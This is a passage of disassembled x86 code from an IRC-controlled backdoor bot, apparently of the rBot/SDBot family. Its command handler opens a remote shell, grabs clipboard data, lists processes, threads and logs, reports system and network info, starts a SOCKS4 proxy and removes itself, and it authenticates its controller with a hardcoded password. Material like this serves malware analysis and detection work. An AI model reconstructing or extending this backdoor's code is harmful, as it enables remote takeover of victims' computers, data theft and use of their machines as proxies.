					; sub_409557+1351j
		call	sub_408323
		test	eax, eax
		jz	short loc_40DF24
		push	offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache	flushed."


loc_40DF0E:				; CODE XREF: sub_409557+4999j
					; sub_409557+49A0j ...
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_40CC8D
; ---------------------------------------------------------------------------


loc_40DF24:				; CODE XREF: sub_409557+49B0j
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."
		jmp	short loc_40DF0E
; ---------------------------------------------------------------------------


loc_40DF2B:				; CODE XREF: sub_409557+1312j
					; sub_409557+1327j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40DF4A
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40DF4A:				; CODE XREF: sub_409557+49D7j
		push	ebx		; int
		push	[ebp+var_4]	; int
		call	sub_4070C7
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		push	offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
		jmp	loc_40E222
; ---------------------------------------------------------------------------


loc_40DF6C:				; CODE XREF: sub_409557+1232j
					; sub_409557+1247j
		push	7
		call	sub_411E82
		test	eax, eax
		pop	ecx
		jle	short loc_40DF7F
		push	offset aCmdRemoteShell ; "[CMD]: Remote	shell already running."
		jmp	short loc_40DFA0
; ---------------------------------------------------------------------------


loc_40DF7F:				; CODE XREF: sub_409557+4A1Fj
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40F002
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40DF9B
		push	offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
		jmp	short loc_40DFA0
; ---------------------------------------------------------------------------


loc_40DF9B:				; CODE XREF: sub_409557+4A3Bj
		push	offset aCmdRemoteShe_0 ; "[CMD]: Remote	shell ready."


loc_40DFA0:				; CODE XREF: sub_409557+24C9j
					; sub_409557+25F9j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40B837
; ---------------------------------------------------------------------------


loc_40DFB3:				; CODE XREF: sub_409557+1208j
					; sub_409557+121Dj
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_406AE8
		jmp	loc_40E240
; ---------------------------------------------------------------------------


loc_40DFCC:				; CODE XREF: sub_409557+11DEj
					; sub_409557+11F3j
		push	dword ptr [ebp+esi+Args] ; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_403D46
		jmp	loc_40E240
; ---------------------------------------------------------------------------


loc_40DFE9:				; CODE XREF: sub_409557+11B4j
					; sub_409557+11C9j
		or	edi, 0FFFFFFFFh
		call	ds:dword_41B078	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+Src], eax
		jz	short loc_40E012
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	edi, eax


loc_40E012:				; CODE XREF: sub_409557+4AB0j
		mov	eax, [ebp+Src]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40E02B
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40E7D9


loc_40E02B:				; CODE XREF: sub_409557+4AC9j
		push	ebx
		call	sub_410D66
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aMainUptimeS_ ; "[MAIN]:	Uptime:	%s."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		jmp	loc_40C20E
; ---------------------------------------------------------------------------


loc_40E06D:				; CODE XREF: sub_409557+118Aj
					; sub_409557+119Fj
		push	1Eh
		call	sub_411E82
		test	eax, eax
		pop	ecx
		jle	short loc_40E0A1
		cmp	[ebp+var_8], ebx
		jnz	loc_4099D2
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset aProcAlreadyRun ; "[PROC]: Already running."
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_409557+4B20j
		push	[ebp+var_8C]	; Format
		lea	eax, [ebp+var_4DC]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		mov	[ebp+var_458], ebx
		jz	short loc_40E102
		push	esi		; Str2
		push	offset aFull	; "full"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E102
		mov	[ebp+var_458], 1


loc_40E102:				; CODE XREF: sub_409557+4B8Ej
					; sub_409557+4B9Fj
		lea	eax, [ebp+Dst]
		push	offset aProcsProccessL ; "[PROCS]: Proccess list."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Eh		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_408AE3
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40E170


loc_40E15A:				; CODE XREF: sub_409557+4C17j
		cmp	[ebp+var_44C], ebx
		jnz	loc_40B858
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40E15A
; ---------------------------------------------------------------------------


loc_40E170:				; CODE XREF: sub_409557+4C01j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aProcsFailedT_0 ; "[PROCS]: Failed to start listing thread"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_40B858
; ---------------------------------------------------------------------------


loc_40E190:				; CODE XREF: sub_409557+1160j
					; sub_409557+1175j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E1AF
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset aMainRemovingBo ; "[MAIN]: Removing Bot."
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40E1AF:				; CODE XREF: sub_409557+4C3Cj
		push	[ebp+arg_4]
		call	dword_42EC48	; closesocket
		call	dword_42EB20	; WSACleanup
		call	sub_40724A
		push	ebx
		call	ds:dword_41B090	; ExitProcess


loc_40E1CA:				; CODE XREF: sub_409557+1136j
					; sub_409557+114Bj
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	eax
		call	sub_410E85
		pop	ecx
		pop	ecx
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		push	offset aMainSystemInfo ; "[MAIN]: System Info."
		jmp	short loc_40E222
; ---------------------------------------------------------------------------


loc_40E1F5:				; CODE XREF: sub_409557+110Cj
					; sub_409557+1121j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_411139
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		push	offset aMainNetworkInf ; "[MAIN]: Network Info."


loc_40E222:				; CODE XREF: sub_409557+4A10j
					; sub_409557+4C9Cj
		call	sub_402D63
		jmp	loc_40CF21
; ---------------------------------------------------------------------------


loc_40E22C:				; CODE XREF: sub_409557+10E2j
					; sub_409557+10F7j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_402E03


loc_40E240:				; CODE XREF: sub_409557+3C5j
					; sub_409557+4A70j ...
		add	esp, 10h
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40E248:				; CODE XREF: sub_409557+10B8j
					; sub_409557+10CDj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_374], bl
		jz	short loc_40E287
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_40E287
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40E287
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_374]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_40E287:				; CODE XREF: sub_409557+4CFAj
					; sub_409557+4D05j ...
		push	[ebp+var_8C]	; Format
		lea	eax, [ebp+var_3F4]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		push	offset aLogListingLog_ ; "[LOG]: Listing log."
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ch		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 20h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	eax
		push	offset sub_402E75
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40E327


loc_40E311:				; CODE XREF: sub_409557+4DCEj
		cmp	[ebp+var_2E8], ebx
		jnz	loc_4099D2
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40E311
; ---------------------------------------------------------------------------


loc_40E327:				; CODE XREF: sub_409557+4DB8j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aLogFailedToSta ; "[LOG]: Failed	to start listing thread, "...
		jmp	loc_40E960
; ---------------------------------------------------------------------------


loc_40E338:				; CODE XREF: sub_409557+108Ej
					; sub_409557+10A3j
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_402CEB
		push	offset aMainAliasList_ ; "[MAIN]: Alias	list."
		call	sub_402D63
		jmp	loc_40DED4
; ---------------------------------------------------------------------------


loc_40E358:				; CODE XREF: sub_409557+1064j
					; sub_409557+1079j
		push	[ebp+var_8C]	; Format
		lea	eax, [ebp+var_4DC]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, dword ptr [ebp+esi+Args]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jz	short loc_40E3B2
		push	offset aSub	; "sub"
		push	esi		; Str1
		call	_strcmp
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_458], eax
		jmp	short loc_40E3B8
; ---------------------------------------------------------------------------


loc_40E3B2:				; CODE XREF: sub_409557+4E3Fj
		mov	[ebp+var_458], ebx


loc_40E3B8:				; CODE XREF: sub_409557+4E59j
		lea	eax, [ebp+Dst]
		push	offset aThreadsListThr ; "[THREADS]: List threads."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Fh		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_411CA5
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40E422


loc_40E410:				; CODE XREF: sub_409557+4EC9j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_40E43D
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40E410
; ---------------------------------------------------------------------------


loc_40E422:				; CODE XREF: sub_409557+4EB7j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...


loc_40E42E:				; CODE XREF: sub_409557+3E10j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40E43D:				; CODE XREF: sub_409557+2245j
					; sub_409557+2267j ...
		lea	eax, [ebp+Dst]
		push	eax
		jmp	loc_40A84F
; ---------------------------------------------------------------------------


loc_40E449:				; CODE XREF: sub_409557+FE8j
					; sub_409557+FFDj
		push	offset aFenr	; "FEnR"
		lea	eax, [ebp+Dst]
		push	offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 20h
		jmp	loc_40CCC6
; ---------------------------------------------------------------------------


loc_40E480:				; CODE XREF: sub_409557+FBEj
					; sub_409557+FD3j
		push	dword_4750D0
		call	sub_410D66
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 24h
		jmp	loc_40CCC6
; ---------------------------------------------------------------------------


loc_40E4BE:				; CODE XREF: sub_409557+F94j
					; sub_409557+FA9j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_40E4F0
		cmp	[ebp+var_C], ebx
		jz	short loc_40E4FF
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40E4FF
		push	eax		; Args
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		add	esp, 0Ch
		jmp	short loc_40E4FF
; ---------------------------------------------------------------------------


loc_40E4F0:				; CODE XREF: sub_409557+4F70j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		pop	ecx
		pop	ecx


loc_40E4FF:				; CODE XREF: sub_409557+4F75j
					; sub_409557+4F84j ...
		push	0FFFFFFFEh
		jmp	loc_4099D4
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_409557+F6Aj
					; sub_409557+F7Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	offset aMainDisconnect ; "[MAIN]: Disconnecting."
		call	sub_402D63
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_4099D5
; ---------------------------------------------------------------------------


loc_40E528:				; CODE XREF: sub_409557+F40j
					; sub_409557+F55j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	offset aMainReconnecti ; "[MAIN]: Reconnecting."
		call	sub_402D63
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_4099D5
; ---------------------------------------------------------------------------


loc_40E549:				; CODE XREF: sub_409557+F16j
					; sub_409557+F2Bj
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_4021A2
		jmp	loc_40CE8A
; ---------------------------------------------------------------------------


loc_40E55F:				; CODE XREF: sub_409557+E71j
					; sub_409557+E86j
		push	dword ptr [ebp+esi+Args] ; Str
		push	1Eh		; int
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "[PROC]"


loc_40E572:				; CODE XREF: sub_409557+CECj
					; sub_409557+D15j ...
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; int
		push	[ebp+arg_4]	; int
		call	sub_411EC8
		add	esp, 20h
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40E58E:				; CODE XREF: sub_409557+CADj
					; sub_409557+CC2j
		mov	edi, dword ptr [ebp+esi+Args]
		cmp	edi, ebx
		jz	short loc_40E5AD
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_40E5AD
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_40E5B2
; ---------------------------------------------------------------------------


loc_40E5AD:				; CODE XREF: sub_409557+5040j
					; sub_409557+504Bj
		mov	eax, dword_424A44


loc_40E5B2:				; CODE XREF: sub_409557+5054j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_464], eax
		cmp	esi, ebx
		jz	short loc_40E5D7
		push	esi		; Format


loc_40E5C4:				; CODE XREF: sub_409557+508Fj
		lea	eax, [ebp+var_474]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40E5EE
; ---------------------------------------------------------------------------


loc_40E5D7:				; CODE XREF: sub_409557+506Aj
		cmp	[ebp+var_9B3], bl
		jz	short loc_40E5E8
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_40E5C4
; ---------------------------------------------------------------------------


loc_40E5E8:				; CODE XREF: sub_409557+5086j
		mov	[ebp+var_474], bl


loc_40E5EE:				; CODE XREF: sub_409557+507Ej
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]	; Format
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_458], eax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_454], eax
		lea	eax, [ebp+var_4F4]
		push	eax		; Dest
		mov	[ebp+var_4F8], esi
		call	__snprintf
		add	esp, 0Ch
		push	[ebp+var_464]
		push	esi
		call	sub_408401
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	11h		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 1Ch
		mov	[ebp+var_460], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_4103F5
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_460]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_430554[ecx], eax
		jz	short loc_40E69F


loc_40E689:				; CODE XREF: sub_409557+5146j
		cmp	[ebp+var_450], ebx
		jnz	loc_4099D2
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40E689
; ---------------------------------------------------------------------------


loc_40E69F:				; CODE XREF: sub_409557+5130j
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
		jmp	loc_40E960
; ---------------------------------------------------------------------------


loc_40E6B0:				; CODE XREF: sub_409557+C83j
					; sub_409557+C98j
		push	offset aFenr_0	; "FEnR"
		push	offset aMainS	; "[MAIN]: %s"
		jmp	loc_40CC81
; ---------------------------------------------------------------------------


loc_40E6BF:				; CODE XREF: sub_409557+C59j
					; sub_409557+C6Ej
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_40E719
		push	esi		; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40E711
		cmp	eax, 2
		jge	short loc_40E711
		mov	edx, [ebp+Str1]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40E709
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------


loc_40E709:				; CODE XREF: sub_409557+5191j
		push	eax
		push	offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
		jmp	short loc_40E756
; ---------------------------------------------------------------------------


loc_40E711:				; CODE XREF: sub_409557+517Cj
					; sub_409557+5181j
		push	eax
		push	offset aMainInvalidLog ; "[MAIN]: Invalid login	slot number: %d."
		jmp	short loc_40E756
; ---------------------------------------------------------------------------


loc_40E719:				; CODE XREF: sub_409557+5171j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_40E71E:				; CODE XREF: sub_409557+51E3j
		push	[ebp+Str2]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E741
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E71E
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------


loc_40E741:				; CODE XREF: sub_409557+51D7j
		mov	eax, [ebp+Str1]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."


loc_40E756:				; CODE XREF: sub_409557+1834j
					; sub_409557+1862j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------


loc_40E76A:				; CODE XREF: sub_409557+C2Fj
					; sub_409557+C44j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E7D9
		call	sub_411E03
		push	ebx
		call	ds:dword_41B090	; ExitProcess


loc_40E78C:				; CODE XREF: sub_409557+C05j
					; sub_409557+C1Aj
		push	dword ptr [ebp+esi+Args] ; Str1
		xor	eax, eax
		cmp	[ebp+var_9A4], bl
		setnz	al
		push	eax		; int
		lea	eax, [ebp+var_564]
		push	dword_424A68	; int
		push	eax		; Dest
		call	sub_40FA38
		lea	eax, [ebp+var_564]
		push	eax		; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		lea	eax, [ebp+var_564]
		push	eax		; Args
		push	offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
		call	sub_402DD7


loc_40E7D6:				; CODE XREF: sub_409557+2466j
		add	esp, 24h


loc_40E7D9:				; CODE XREF: sub_409557+643j
					; sub_409557+64Fj ...
		mov	eax, [ebp+File]
		jmp	loc_4099D5
; ---------------------------------------------------------------------------


loc_40E7E1:				; CODE XREF: sub_409557+6D2j
					; sub_409557+6E7j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+Src], esi
		jz	loc_4099D2
		cmp	[ebp+var_AC], ebx
		jnz	loc_4099D2
		push	offset asc_42734C ; "!"
		push	[ebp+Str2]	; Str
		call	_strtok
		mov	esi, eax
		push	offset byte_475258 ; Delim
		push	ebx		; Str
		inc	esi
		call	_strtok
		push	offset asc_42569C ; "~"
		push	eax		; Str
		call	_strtok
		push	[ebp+Src]	; Str2
		mov	edi, eax
		push	offset a19736666386888 ; "19736666386888"
		call	_strcmp
		add	esp, 20h
		test	eax, eax
		jz	short loc_40E889
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	edi
		push	esi
		push	offset aMainFailedPass ; "[MAIN]: *Failed pass auth by:	(%s!%s)."


loc_40E875:				; CODE XREF: sub_409557+538Ej
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 30h
		jmp	loc_40CA6C
; ---------------------------------------------------------------------------


loc_40E889:				; CODE XREF: sub_409557+52E5j
		mov	[ebp+File], offset off_424B10


loc_40E890:				; CODE XREF: sub_409557+5355j
		mov	eax, [ebp+File]
		push	edi
		push	dword ptr [eax]
		call	sub_411F93
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8E7
		add	[ebp+File], 4
		cmp	[ebp+File], offset off_424B14
		jl	short loc_40E890
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	edi
		push	esi
		push	offset aMainFailedHost ; "[MAIN]: *Failed host auth by:	(%s!%s)."
		jmp	short loc_40E875
; ---------------------------------------------------------------------------


loc_40E8E7:				; CODE XREF: sub_409557+5348j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_40E8EC:				; CODE XREF: sub_409557+53BFj
		cmp	[ebp+Src], ebx
		jz	loc_4099D2
		cmp	[edi], bl
		jnz	short loc_40E90C
		push	[ebp+Src]	; Str2
		push	offset a19736666386888 ; "19736666386888"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E91D


loc_40E90C:				; CODE XREF: sub_409557+53A0j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E8EC
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40E91D:				; CODE XREF: sub_409557+53B3j
		shl	esi, 7
		add	esi, [ebp+Str1]
		lea	eax, [ebp+var_A94]
		push	7Fh		; Count
		push	eax		; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E954
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset aMainPasswordAc ; "[MAIN]: Password accepted."
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40E954:				; CODE XREF: sub_409557+53E1j
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aMainUserSLog_1 ; "[MAIN]: User:	%s logged in."


loc_40E960:				; CODE XREF: sub_409557+59Bj
					; sub_409557+4DDCj ...
		call	sub_402DD7
		pop	ecx


loc_40E966:				; CODE XREF: sub_409557+230Dj
		pop	ecx
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_40E96C:				; CODE XREF: sub_409557+20Ej
					; sub_409557+223j
		push	[ebp+Dest]	; Args
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	offset asc_424AF8 ; "+x"
		push	[ebp+Dest]	; Args
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_405E1E
		add	esp, 2Ch
		mov	dword_475250, edi
		jmp	loc_4097F4
sub_409557	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9B2	proc near		; DATA XREF: sub_409557+2F37o

Source		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_40]
		call	dword_42EBB4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
